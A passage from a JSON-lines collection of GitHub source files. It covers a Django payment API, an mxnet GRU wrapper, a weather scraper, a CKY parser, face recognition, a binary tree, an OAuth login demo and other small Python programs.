'コールバック処理に失敗しました。'\n print('Error:', error_msg)\n\n else:\n error_msg = 'アカウントのアンロックに失敗しました。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n context = {\n 'success': True,\n 'address': to_address,\n 'amount': amount,\n 'fee': fee,\n 'transaction': TransactionSerializer(transaction).data\n }\n return Response(context, status=status.HTTP_201_CREATED)\n\n @staticmethod\n def load_abi(file_path):\n \"\"\"\n :param str file_path:\n :return dict: abi\n \"\"\"\n artifact = open(file_path, 'r')\n json_dict = json.load(artifact)\n abi = json_dict['abi']\n return abi\n\n\nclass ContractViewSet(viewsets.ModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = ContractSerializer\n queryset = Contract.objects.all()\n\n def list(self, request):\n queryset = Contract.objects.filter(user=self.request.user)\n\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n def retrieve(self, request, pk=None):\n queryset = Contract.objects.all()\n contract = get_object_or_404(queryset, address=pk)\n serializer = ContractSerializer(contract)\n return Response(serializer.data)\n","repo_name":"UTpay/UTpay","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"18869070467","text":"from mxnet.gluon import rnn\nfrom mxnet import nd\n\n\"\"\"\nGru maintaining its state.\n\"\"\"\n\n\nclass StatefulGRUCell:\n \"\"\"\n Wrapper over GRUCell caching hidden states.\n \"\"\"\n def __init__(self, gru_cell: rnn.GRUCell):\n \"\"\"\n Args:\n gru_cell: GRUCell which will be used to run forward pass.\n **kwargs:\n \"\"\"\n self._gru_cell = gru_cell\n self._state = None\n\n def __call__(self, input_: nd.NDArray):\n \"\"\"\n Run forward pass on GRUCell.\n First forward call will be initialized with GRUCell.begin_state, all further calls\n will use the latest state returned by GRUCell.\n Args:\n input_: input tensor with shape (batch_size, input_size).\n \"\"\"\n if not self._state:\n self._state = self._gru_cell.begin_state(input_.shape[0])\n output, new_state = self._gru_cell(input_, self._state)\n self._state = new_state\n\n return output\n","repo_name":"AdamGabrys/WorkshopOnSignalReconstructionWithVAE","sub_path":"mlss_gdansk2019/StatefulGRUCell.py","file_name":"StatefulGRUCell.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"73383504114","text":"# DFIS settings\r\nDFIS_HOST = '10.1.50.251'\r\nDFIS_PORT = 80\r\nDFIS_GROUP = 'newegg'\r\nDFIS_TYPE = 'tool'\r\nDFIS_DOWNLOAD = '10.1.50.251'\r\n\r\n# REDIS Settings\r\nREDIS_HOST = 'localhost'\r\nREDIS_PORT = 6379\r\n\r\n# WSGI Settings\r\nWSGI_LOG = 'default'\r\n\r\n","repo_name":"by46/meerkat","sub_path":"config/development.py","file_name":"development.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"13861963732","text":"t=int(input())\nfor _ in range(t):\n n=int(input())\n a=[]\n b=[]\n dp=[1]*(n+5)\n for i in range(n):\n x,y=map(float,input().split())\n a.append(x)\n b.append(y)\n res=1\n for i in range(0,n):\n for j in range(0,i):\n if a[i]>a[j] and b[i]',r'',str(a)) for a in a_text]\r\n temp = \" \".join(y)\r\n temp=(temp[44:temp.index(\"De Bilt\") + len(\"De Bilt\")-18:])\r\n temp = temp.replace(\" \",\"\")\r\n temp = temp.replace(\" \",\"\")\r\n temp = temp.replace(\"`\",\"\")\r\n\r\n #MAX TEMP DE BILT\r\n html = requests.get(\"https://teletekst-data.nos.nl/webplus?p=705-3\").content\r\n #1 Recoding\r\n unicode_str = html.decode(\"ISO-8859-1\")\r\n encoded_str = unicode_str.encode(\"ascii\",'ignore')\r\n news_soup = BeautifulSoup(encoded_str, \"html.parser\")\r\n a_text = news_soup.find_all(\"span\", class_=\"cyan\")\r\n #2 Removing\r\n y=[re.sub(r'<.+?>',r'',str(a)) for a in a_text]\r\n maxtemp = \" \".join(y)\r\n maxtemp = maxtemp[140:-110]\r\n maxtemp = maxtemp.replace(\" \",\"\")\r\n maxtemp = maxtemp.replace(\" \",\"\")\r\n maxtemp = maxtemp.replace(\"`\",\"\")\r\n\r\n #REGEN DE BILT\r\n html = requests.get(\"https://teletekst-data.nos.nl/webplus?p=705-3\").content\r\n #1 Recoding\r\n unicode_str = html.decode(\"ISO-8859-1\")\r\n encoded_str = unicode_str.encode(\"ascii\",'ignore')\r\n news_soup = BeautifulSoup(encoded_str, \"html.parser\")\r\n a_text = news_soup.find_all(\"span\", class_=\"cyan\")\r\n #2 Removing\r\n y=[re.sub(r'<.+?>',r'',str(a)) for a in a_text]\r\n regen = \" \".join(y)\r\n regen = regen[146:-100]\r\n regen = regen.replace(\" \",\"\")\r\n regen = regen.replace(\" \",\"\")\r\n regen = regen.replace(\"`\",\"\")\r\n\r\n #BEWOLKT DE BILT\r\n #mogelijke woorden: nevel, geheel bewolkt, droog, onbewolkt, regen, buien,\r\n #onweer, hagel, zwaar bewolkt, heiig, licht bewolkt, regenbui,\r\n html = requests.get(\"https://teletekst-data.nos.nl/webplus?p=705-2\").content\r\n #1 Recoding\r\n unicode_str = html.decode(\"ISO-8859-1\")\r\n encoded_str = unicode_str.encode(\"ascii\",'ignore')\r\n news_soup = BeautifulSoup(encoded_str, \"html.parser\")\r\n a_text = news_soup.find_all(\"span\", class_=\"cyan\")\r\n #2 Removing\r\n y=[re.sub(r'<.+?>',r'',str(a)) for a in a_text]\r\n bewolking = \" \".join(y)\r\n bewolking = bewolking[109:-150]\r\n bewolking = bewolking.replace(\" \",\"\")\r\n bewolking = bewolking.replace(\" \",\"\")\r\n wolken = [\"nevel\", \"bewolkt\", \"heiig\"]\r\n regenen = [\"regen\", \"buien\", \"onweer\", \"regenbui\", \"motregen\"]\r\n sneeuw = [\"sneeuw\", \"motsneeuw\", \"ijzel\"]\r\n if any(x in bewolking for x in wolken):\r\n bewolking = \"wolken\"\r\n elif any(x in bewolking for x in regenen):\r\n bewolking = \"regen\"\r\n elif any(x in bewolking for x in sneeuw):\r\n bewolking = \"sneeuw\"\r\n return bewolking\r\n return regen\r\n return maxtemp\r\n return temp\r\n Weer()\r\nexcept:\r\n pass\r\n","repo_name":"JLBvandiermen/Spiegel","sub_path":"probeerWeer.py","file_name":"probeerWeer.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"41322390173","text":"import json\nimport logging\nfrom time import time\n\nfrom prettytable import PrettyTable\n\nfrom ctf_parser.grammar.pcfg import PCFG\nfrom ctf_parser.parser.tokenizer import PennTreebankTokenizer\n\n\nclass NoParseFoundException(ValueError):\n pass\n\n\nclass CKYParser:\n\n def __init__(self, pcfg, evaluation_function=None):\n self.logger = logging.getLogger('CtF Parser')\n self.pcfg = pcfg\n self.tokenizer = PennTreebankTokenizer()\n if evaluation_function is None:\n self.evaluation_function = lambda _: True\n else:\n self.evaluation_function = evaluation_function\n\n def parse_best(self, sentence, log_dict=None):\n chart = self.parse(sentence, log_dict)\n return self.get_best_from_chart(chart)\n\n def get_best_from_chart(self, chart):\n try:\n tree = self.backtrace(chart[0][-1][self.pcfg.start_symbol], chart)\n except KeyError:\n raise NoParseFoundException\n\n tree[0] = tree[0].split(\"|\")[0]\n\n return tree\n\n def parse(self, sentence, log_dict=None):\n words = self.tokenizer.tokenize(sentence)\n norm_words = []\n\n for word in words:\n norm_words.append((self.pcfg.norm_word(word), word))\n\n return self.cky(norm_words, log_dict)\n\n def backtrace(self, item, chart):\n if item.terminal:\n assert item.backpointers is None\n return [\n self.pcfg.get_word_for_id(item.symbol),\n item.terminal\n ]\n\n rhs_1, rhs_2 = item.backpointers\n\n return [\n self.pcfg.get_word_for_id(item.symbol),\n self.backtrace(\n chart[rhs_1.i][rhs_1.j][rhs_1.symbol],\n chart\n ),\n self.backtrace(\n chart[rhs_2.i][rhs_2.j][rhs_2.symbol],\n chart\n )\n ]\n\n def cky(self, norm_words, log_dict=None):\n \"\"\"\n Implementation of the CKY parsing algorithm.\n :param norm_words: List of strings\n :param log_dict: Write statistics into this dictionary\n :return: Chart\n \"\"\"\n # Set up variables for detailed logging\n t0 = time()\n stats = {\n \"items_entered\": 0,\n \"items_pruned\": 0\n }\n\n if log_dict:\n log_dict.update(stats)\n stats = log_dict\n\n # Initialize your charts (for scores and backpointers)\n size = len(norm_words)\n chart = [[{} for _ in range(size)] for _ in range(size)]\n\n # Code for adding the words to the chart\n for i, (norm, word) in enumerate(norm_words):\n id_ = self.pcfg.get_id_for_word(norm)\n for lhs, rhs, prob in self.pcfg.get_lhs_for_terminal_rule(id_):\n item = CKYParser.ChartItem(lhs, prob, rule=(lhs, rhs, prob),\n terminal=word,\n pcfg=self.pcfg)\n existing_item = chart[i][i].get(lhs)\n if not existing_item or \\\n existing_item.probability < item.probability:\n chart[i][i][lhs] = item\n\n # Implementation is based upon J&M\n for j in range(size):\n for i in range(j, -1, -1):\n for k in range(i, j):\n first_nts = chart[i][k]\n second_nts = chart[k + 1][j]\n\n lookup = self.__loop_based_lookup\n\n for entry in lookup(first_nts, second_nts):\n lhs, rhs_1, rhs_2, probability = entry\n existing_item = chart[i][j].get(lhs)\n if not existing_item \\\n or existing_item.probability < probability:\n item = CKYParser.ChartItem(lhs, probability,\n (i, k, rhs_1),\n (k + 1, j, rhs_2),\n rule=entry,\n pcfg=self.pcfg)\n\n # Decide whether to prune or not!\n if self.evaluation_function((lhs, i, j)):\n chart[i][j][lhs] = item\n stats['items_entered'] += 1\n else:\n stats['items_pruned'] += 1\n\n stats.update({\n \"time\": time() - t0,\n \"length\": len(norm_words)\n })\n\n return chart\n\n def __loop_based_lookup(self, first_nts, second_nts):\n second_symbols = second_nts.keys()\n first_symbols = self.pcfg.first_rhs_symbols\n\n possible_rhs1 = first_symbols.intersection(first_nts)\n\n for rhs_1_symbol in possible_rhs1:\n rhs_1 = first_nts[rhs_1_symbol]\n\n possible_rhs2 = \\\n self.pcfg.first_rhs_to_second_rhs[\n rhs_1_symbol].intersection(\n second_symbols)\n\n for rhs_2_symbol in possible_rhs2:\n rhs_2 = second_nts[rhs_2_symbol]\n\n for lhs, _, _, prob in self.pcfg.get_lhs(rhs_1.symbol,\n rhs_2.symbol):\n probability = rhs_1.probability\n probability *= rhs_2.probability\n probability *= prob\n\n yield lhs, rhs_1.symbol, rhs_2.symbol, probability\n\n def print_table(self, chart):\n table = PrettyTable([\"\"] + list(range(len(chart))))\n for i, row in enumerate(chart):\n r = [i]\n for cell in row:\n r.append(\n sorted([self.pcfg.get_word_for_id(k) for k in cell.keys()]))\n table.add_row(r)\n\n return str(table)\n\n class ChartItem(object):\n class Backpointer(object):\n def __init__(self, i, j, symbol):\n self.i = i\n self.j = j\n self.symbol = symbol\n\n def __init__(self, symbol, probability, bp_1=None, bp_2=None,\n terminal=None, rule=None, pcfg=None):\n self.symbol = symbol\n self.probability = probability\n self.pcfg = pcfg\n self.rule = rule\n\n self.backpointers = (\n CKYParser.ChartItem.Backpointer(bp_1[0], bp_1[1], bp_1[2]),\n CKYParser.ChartItem.Backpointer(bp_2[0], bp_2[1], bp_2[2])\n ) if bp_1 else None\n\n self.terminal = terminal\n\n def __repr__(self):\n if self.pcfg:\n symbol = self.pcfg.get_word_for_id(self.symbol)\n else:\n symbol = self.symbol\n return f\"[{symbol},{self.probability:0.4f}]\"\n\n\nif __name__ == '__main__':\n pcfg = PCFG(start_symbol=\"P\")\n pcfg.load_model([json.loads(l) for l in open(\"grammar_0.pcfg\")])\n\n parser = CKYParser(pcfg)\n\n print(parser.parse(\"This is a test.\"))\n","repo_name":"jgontrum/multilevel-coarse-to-fine-parsing","sub_path":"ctf_parser/parser/cky_parser.py","file_name":"cky_parser.py","file_ext":"py","file_size_in_byte":7035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"20458645201","text":"#!/usr/bin/env python3\n\n# Created by: Sam. Garcon\n# Created on: June 2021\n# This program do Number is Positive, Negative or zero\n\ndef main():\n # this function do Number is Positive, Negative or zero\n\n # input\n num = float(input(\"Enter an integer: \"))\n if num > 0:\n print(\"Positive number\")\n elif num == 0:\n print(\"Zero\")\n else:\n print(\"Negative number\")\n \nif __name__ == \"__main__\":\n main()","repo_name":"Sam-Garcon/ICS3U-Unit-3-04-","sub_path":"create-a-Positive-Negative-0-program.py","file_name":"create-a-Positive-Negative-0-program.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"70134514033","text":"import os\r\nimport cv2\r\nimport pickle\r\nimport face_recognition\r\nimport numpy as np\r\nimport cvzone\r\nimport dlib\r\n\r\n# Importing student images\r\nstudentImgFolderPath = 'Images'\r\nstudentImgNameList = os.listdir(studentImgFolderPath)\r\nstudentImgList = []\r\nstudentIDList = []\r\nfor imgName in studentImgNameList:\r\n studentImgList.append(cv2.imread(os.path.join(studentImgFolderPath,\r\n imgName)))\r\n studentIDList.append(os.path.splitext(imgName)[0])\r\n fileName = f'{studentImgFolderPath}/{imgName}'\r\n\r\n\r\ndef findEncodings(imgList):\r\n encodingList = []\r\n for img in imgList:\r\n # Converting to RGB format as face_recognition module works only\r\n # with RGB format\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n encoding = face_recognition.face_encodings(img)[0]\r\n encodingList.append(encoding)\r\n # end for\r\n\r\n return (encodingList)\r\n# end function findEncodings()\r\n\r\nprint(\"Encoding Started (for known faces)...\")\r\nknown_EncodingList = findEncodings(studentImgList) # function call\r\nprint(\"Encoding Successful!\")\r\n# print(known_EncodingList)\r\n\r\nknown_EncodingWithIDsList = [known_EncodingList, studentIDList]\r\n\r\n# Load the image\r\nimage_path = 'testimage/testphoto.jpeg'\r\nimage = cv2.imread(image_path)\r\n#print(image)\r\n\r\n# Load pre-trained face detector\r\ndetector = dlib.get_frontal_face_detector()\r\n\r\n# Detect faces in the image\r\nfaces = detector(image, 1)\r\n\r\n# Loop through each face found in the image\r\nfor i, face in enumerate(faces):\r\n # Extract the coordinates of the face\r\n x, y, w, h = (face.left(), face.top(), face.width(), face.height())\r\n\r\n # Draw a rectangle around the face\r\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\r\n # Crop and resize the face\r\n cropped_face = image[y:y+h, x:x+w]\r\n resized_face = cv2.resize(cropped_face, (216, 216))\r\n\r\n img=resized_face\r\n \r\n imgSmall = cv2.resize(img, (0, 0), None, 0.25, 0.25) # down-scaling image\r\n imgSmall = cv2.cvtColor(imgSmall, cv2.COLOR_BGR2RGB)\r\n\r\n # Set a tolerance threshold\r\n tolerance = 0.49 # Typical values are between 0.5 and 0.8, lower is more strict\r\n\r\n# Use face_recognition module to locate the faces\r\n webCamFaceLoc = face_recognition.face_locations(imgSmall)\r\n webCamFaceEncoding = face_recognition.face_encodings(imgSmall,\r\n webCamFaceLoc)\r\n studentID = []\r\n # Compare the test photo face-encodings with the saved encodings\r\n for faceEncode in webCamFaceEncoding:\r\n faceMatches = face_recognition.compare_faces(known_EncodingList,\r\n faceEncode,tolerance)\r\n faceDists = face_recognition.face_distance(known_EncodingList,\r\n faceEncode)\r\n\r\n # Get the index of the least distant face from the the database\r\n matchIndex = np.argmin(faceDists)\r\n\r\n if faceMatches[matchIndex]:\r\n name = studentIDList[matchIndex] # save id of matched face\r\n studentID.append(name)\r\n # cv2.imshow(\"final photo\",img)\r\n # cv2.waitKey(3000)\r\n \r\n\r\n for name in studentID:\r\n print(name,\"found\")\r\n # Draw a box around the face\r\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 255), 2)\r\n\r\n # Draw a label with a name below the face\r\n cv2.rectangle(image, (x, y +65),\r\n (x+w, y+h), (0, 0, 255),cv2.FILLED)\r\n font = cv2.FONT_HERSHEY_DUPLEX\r\n cv2.putText(image, name, (x, y+h),\r\n font, 0.8, (255, 255, 255), 1)\r\n\r\n # # Display the resulting image\r\n cv2.imshow('Video', image)\r\n cv2.waitKey(500)\r\n\r\n\r\n# # # end main.py\r\n","repo_name":"saileshagrawal/Face-Recognition-From-A-Group-Photo","sub_path":"task 1 for aveti/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"5647093695","text":"# Given an integer array nums sorted in non-decreasing order,\n# return an array of the squares of each number sorted in non-decreasing order.\n\ndef sortedSquaresEasy(nums):\n return sorted(i ** 2 for i in nums)\n\ndef sortedSquares(nums):\n size = len(nums)\n new = []\n left = 0\n right = size - 1\n\n for i in range(0, size):\n if abs(nums[left]) > abs(nums[right]):\n new.insert(0, nums[left] ** 2)\n left = left + 1\n else:\n new.insert(0, nums[right] ** 2)\n right = right - 1\n\n return new\n\nnums = [-4,-2,-1,0,1,3,10]\n\nprint(sortedSquaresEasy(nums))\nprint(sortedSquares(nums))\n\n","repo_name":"AntonAroche/DataStructures-Algorithms","sub_path":"arrays/sorted-squares.py","file_name":"sorted-squares.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"40803693551","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\nT = 10\nfor tc in range(T):\n n = int(input())\n arr = [list(map(int, input().split())) for _ in range(100)]\n\n answer = 0\n right, left = 0, 0\n\n for i in range(100):\n col = 0\n answer = max(sum(arr[i]), answer)\n right += arr[i][i]\n left += arr[n - 1 - i][n - 1 - i]\n for j in range(100):\n col += arr[j][i]\n answer = max(col, answer)\n\n answer = max(right, answer)\n answer = max(left, answer)\n print('#{} {}'.format(tc+1, answer))","repo_name":"sigk218/algorithm_100","sub_path":"2019-2020.08/23_swea_1209.py","file_name":"23_swea_1209.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31537959019","text":"import os\nimport django\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"wwinkel.settings\")\ndjango.setup()\nfrom django.contrib.auth.models import Group, Permission\n# from custom_users.models import *\n# from dbwwinkel.models import *\n\n\norganisation_perms = (\n 'add_question',\n 'view_draft_question',\n 'edit_draft_question',\n 'view_in_progress_central_question',\n 'view_processed_central_question',\n 'view_in_progress_regional_question',\n 'view_ongoing_question',\n 'view_denied_question',\n 'view_revoked_question',\n)\n\ncentral_manager_perms = (\n 'view_draft_question',\n 'edit_draft_question',\n 'view_new_question',\n 'edit_new_question',\n 'view_in_progress_central_question',\n 'edit_in_progress_central_question',\n 'view_processed_central_question',\n 'edit_processed_central_question',\n)\n\nregional_manager_perms = (\n 'view_intake_question',\n 'edit_intake_question',\n 'view_processed_central_question',\n 'view_in_progress_regional_question',\n 'edit_in_progress_regional_question',\n 'edit_public_question',\n 'edit_reserved_question',\n 'view_ongoing_question',\n 'edit_ongoing_question',\n)\n\norganisation_group, _ = Group.objects.get_or_create(name='Organisations')\norganisation_group.permissions = [Permission.objects.get(codename=x) for x in organisation_perms]\norganisation_group.save()\n\ncentral_managers_group, _ = Group.objects.get_or_create(name='Central Managers')\ncentral_managers_group.permissions = [Permission.objects.get(codename=x) for x in central_manager_perms]\ncentral_managers_group.save()\n\nregional_manager_group, _ = Group.objects.get_or_create(name='Regional Managers')\nregional_manager_group.permissions = [Permission.objects.get(codename=x) for x in regional_manager_perms]\nregional_manager_group.save()\n","repo_name":"RobbeHeirman/wwinkel","sub_path":"add_perm_group_script.py","file_name":"add_perm_group_script.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"36861875149","text":"# -*- coding: utf-8 -*-\n\nimport web\nimport json\nfrom oauth import OAuth\n\n# 以下三个配置项需要去DNSPod申请\nDNSPOD_CLIENT_ID = '10020'\nDNSPOD_CLIENT_SECRET = '****'\nDNSPOD_CALLBACK = 'http://172.4.2.20:8888/dnspodcallback'\n\ndnspodOAuth = OAuth(\n name='dnspod',\n client_id=DNSPOD_CLIENT_ID,\n client_secret=DNSPOD_CLIENT_SECRET,\n base_url='https://www.dnspod.cn/Api/',\n access_token_url='https://www.dnspod.cn/OAuth/Access.Token',\n authorize_url='https://www.dnspod.cn/OAuth/Authorize')\n\n\nclass index(object):\n '''显示登陆链接'''\n def GET(self):\n web.header('Content-Type', 'text/html; charset=utf-8', unique=True)\n return \"
使用DNSPod登陆\"\n\n\nclass dnspodlogin(object):\n '''生成授权链接并重定向过去'''\n def GET(self):\n url = dnspodOAuth.get_authorize_url(response_type='code',\n redirect_uri=DNSPOD_CALLBACK,\n )\n return web.redirect(url)\n\n\nclass dnspodcallback(object):\n def get_access_token(self, code):\n '''获取access token'''\n result = dnspodOAuth.get_access_token('GET',\n code=code,\n grant_type='authorization_code',\n redirect_uri=DNSPOD_CALLBACK)\n result = json.loads(result)\n return result['access_token']\n\n def get_nickname(self, access_token):\n '''使用access_token调用DNSPod API获取用户昵称'''\n api_result = dnspodOAuth.request('POST', 'User.Detail', access_token=access_token, format='json')\n api_result = json.loads(api_result)\n result = api_result['info']['user']['nick']\n if result is None:\n result = api_result['info']['user']['real_name']\n if result is None:\n result = 'DNSPod用户'\n return result\n\n def GET(self):\n web.header('Content-Type', 'text/html; charset=utf-8', unique=True)\n code = web.input().code\n\n if code:\n access_token = self.get_access_token(code)\n nickname = self.get_nickname(access_token)\n return \"欢迎您%s\" % nickname.encode('utf-8')\n\n\nurls = [\"/\", \"index\",\n \"/dnspodlogin\", \"dnspodlogin\",\n \"/dnspodcallback\", \"dnspodcallback\",\n ]\n\napp = web.application(urls, globals())\n\nif __name__ == '__main__':\n import logging\n logging.getLogger().setLevel(logging.NOTSET)\n app.run()\n","repo_name":"onlytiancai/dnspod-oauth-client-py","sub_path":"src/appmain.py","file_name":"appmain.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"4916360574","text":"s = list(input())\r\n\r\nst = []\r\nstick = 0\r\nfor i in range(len(s)):\r\n if s[i] == '(':\r\n st.append('(')\r\n else:\r\n if s[i - 1] == '(':\r\n st.pop()\r\n stick += len(st)\r\n else:\r\n st.pop()\r\n stick += 1\r\n \r\nprint(stick)","repo_name":"hyetae/Algorithm","sub_path":"백준/Silver/10799. 쇠막대기/쇠막대기.py","file_name":"쇠막대기.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"36929883729","text":"import asyncio\r\nimport discord\r\nfrom discord.ext import commands\r\n\r\nimport logger\r\nfrom config import Config\r\n\r\nconfig = Config()\r\nconfig.load_json('configs/config.json')\r\n\r\nintents = discord.Intents.all()\r\nbot = commands.Bot(command_prefix='!', intents=intents)\r\n\r\n@bot.event\r\nasync def on_ready():\r\n\tlogger.success_message(\"\"\"Logged in as {0.name} ({0.id})\"\"\".format(bot.user))\r\n\r\nasync def main():\r\n\tasync with bot:\r\n\t\tawait bot.load_extension(f\"\"\"modules.module\"\"\")\r\n\t\tfor module in config.get(\"active_modules\"):\r\n\t\t\tawait bot.load_extension(f\"\"\"modules.{module}\"\"\")\r\n\t\tawait bot.start(config.get('token'))\r\n\r\nasyncio.run(main())","repo_name":"K4kug3n/Oscar","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"23483044542","text":"from flask import request,g\nfrom tools.jtw_util import verify_jwt\n\ndef verify_token():\n\n g.user_id = None\n g.is_refresh = False\n\n token = request.headers.get(\"Authorization\")\n if token is not None and token.startswith(\"Bearer \"):\n token = token[7:]\n\n payload = verify_jwt(token)\n\n if payload is not None:\n g.user_id = payload.get(\"user_id\")\n g.is_refresh = payload.get(\"is_refresh\",False)\n print(g.is_refresh,g.user_id)\n\n\n\n","repo_name":"chenqiufan/leneses_store_backend","sub_path":"tools/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"20453749557","text":"class Node():\n \"\"\"二叉树的节点\"\"\"\n\n def __init__(self, item):\n self.elem = item\n self.lchild = None\n self.rchild = None\n\n\nclass Tree(object):\n \"\"\"二叉树\"\"\"\n\n def __init__(self):\n self.root = None\n\n def add(self, item):\n \"\"\"\n 添加节点\n 思想,利用广度优先,先将根放在一个队列里,然后如果左右有节点遍历下一层,有过没有进行提\n 添加\n \"\"\"\n # 先判断根节点是否为none,如果为none直接进行添加节点\n node = Node(item)\n if self.root is None:\n self.root = node\n return\n queue = [self.root]\n\n for cur_node in queue:\n # 遍历队列中的每一个节点去查看左右节点是否有元素\n if cur_node.lchild is None:\n cur_node.lchild = node\n return\n else:\n queue.append(cur_node.lchild)\n\n if cur_node.rchild is None:\n cur_node.rchild = node\n return\n else:\n queue.append(cur_node.rchild)\n\n def breadth_travel(self):\n \"\"\"遍历\n 思想同上\n \"\"\"\n if self.root is None:\n return\n queue = [self.root]\n while queue:\n cur_node = queue.pop(0)\n print(cur_node.elem)\n if cur_node.lchild is not None:\n queue.append(cur_node.lchild)\n if cur_node.rchild is not None:\n queue.append(cur_node.rchild)\n\n def preorder(self, node):\n \"\"\"先序遍历\"\"\"\n if node is None:\n return\n print(node.elem, end=\" \")\n self.preorder(node.lchild)\n self.preorder(node.rchild)\n\n def inorder(self, node):\n \"\"\"中序遍历\"\"\"\n if node is None:\n return\n\n self.inorder(node.lchild)\n print(node.elem, end=\" \")\n self.inorder(node.rchild)\n\n def postorder(self, node):\n \"\"\"后序遍历\"\"\"\n if node is None:\n return\n\n self.postorder(node.lchild)\n self.postorder(node.rchild)\n print(node.elem, end=\" \")\n\n\nif __name__ == \"__main__\":\n tree = Tree()\n tree.add(1)\n tree.add(2)\n tree.add(3)\n tree.add(4)\n tree.add(5)\n tree.breadth_travel()\n print()\n tree.preorder(tree.root)\n print()\n tree.inorder(tree.root)\n print()\n tree.postorder(tree.root)\n","repo_name":"renlei-great/git_window-","sub_path":"python数据结构/python黑马数据结构/二叉树的实现/二叉树-添加操作.py","file_name":"二叉树-添加操作.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"10587270620","text":"from __future__ import division, print_function\n\nimport itertools\n\nimport numpy as np\nfrom numpy.linalg import norm\n\nimport snake\nimport sphere\n\nfrom spatial import unit\nfrom sphere import pointdict\n\n\ndef half_circumference(radius):\n return np.pi * radius\n\n\ndef distance_on_sphere(u, v, centroid, radius=None):\n if np.allclose(u,v): # Special case u~=v\n return 0.\n cu = u - centroid\n cv = v - centroid\n if radius is None:\n radius = norm(cu)\n n1 = unit(cu)\n n2 = unit(cv)\n sigma = np.arctan2(norm(np.cross(n1, n2)), np.dot(n1,n2))\n dist = radius * sigma\n return dist\n\n\ndef build_histogram(values, num_bins=100, lower_bound=0, upper_bound=100):\n bin_boundaries = np.linspace(lower_bound, upper_bound, num_bins)\n bins = [[] for _ in range(num_bins)]\n for idx, value in enumerate(values):\n bin_idx = np.searchsorted(bin_boundaries, value)\n current_bin = bins[bin_idx]\n current_bin.append(idx)\n return bins\n\n\ndef histogram_counts(histogram):\n return np.array(map(len, histogram))\n\n\ndef build_property_histogram(values, num_bins=100):\n property_min, property_max = values.min(), values.max()\n bins = build_histogram(values, num_bins, property_min, property_max)\n return bins\n\n\ndef cluster_property_histograms(points, bins, sphere_center=sphere.ZERO, \n sphere_radius=1.):\n bin_values = []\n for bin_members in bins:\n bin_values.append(points[bin_members])\n all_centroids = []\n all_clusteres = []\n for bin_idx, values in enumerate(bin_values):\n # Cluster each property bin and add to result\n centroids, clusters = select_best_kmeans(values, max_k=5, min_k=2, # Arbitrarily picked\n sphere_center=sphere_center, \n sphere_radius=sphere_radius)\n all_centroids.append(centroids)\n all_clusteres.append(clusters)\n return all_centroids, all_clusteres\n\n\ndef build_distance_histogram(centroids, clusters, sphere_center=sphere.ZERO,\n sphere_radius=1., \n resolution=1.):\n centroid_distances = pairwise_centroid_distances(centroids, sphere_center=sphere_center,\n sphere_radius=sphere_radius)\n pairs = centroid_distances.keys()\n distances = centroid_distances.values()\n distance_bins = quantize_distances_on_sphere(distances, sphere_radius=sphere_radius,\n resolution=resolution)\n distance_histogram = np.zeros(len(distance_bins))\n for bin_num, distance_bin in enumerate(distance_bins):\n membership = set()\n for idx in distance_bin:\n pair = pairs[idx]\n membership.update(pair)\n membership_items = map(lambda idx: clusters[idx], membership)\n membership_size = map(len, membership_items)\n bin_count = sum(membership_size)\n distance_histogram[bin_num] = bin_count\n return distance_histogram\n\n\ndef build_distance_histograms(all_centroids, all_clusters, sphere_center=sphere.ZERO,\n sphere_radius=1., \n resolution=1.):\n distance_histograms = []\n for idx, (centroids, clusters) in enumerate(zip(all_centroids, all_clusters)):\n distance_histogram = build_distance_histogram(centroids, clusters, sphere_center=sphere_center,\n sphere_radius=sphere_radius,\n resolution=resolution)\n distance_histograms.append(distance_histogram)\n return distance_histograms\n\n\ndef pairwise_centroid_distances(centroids, 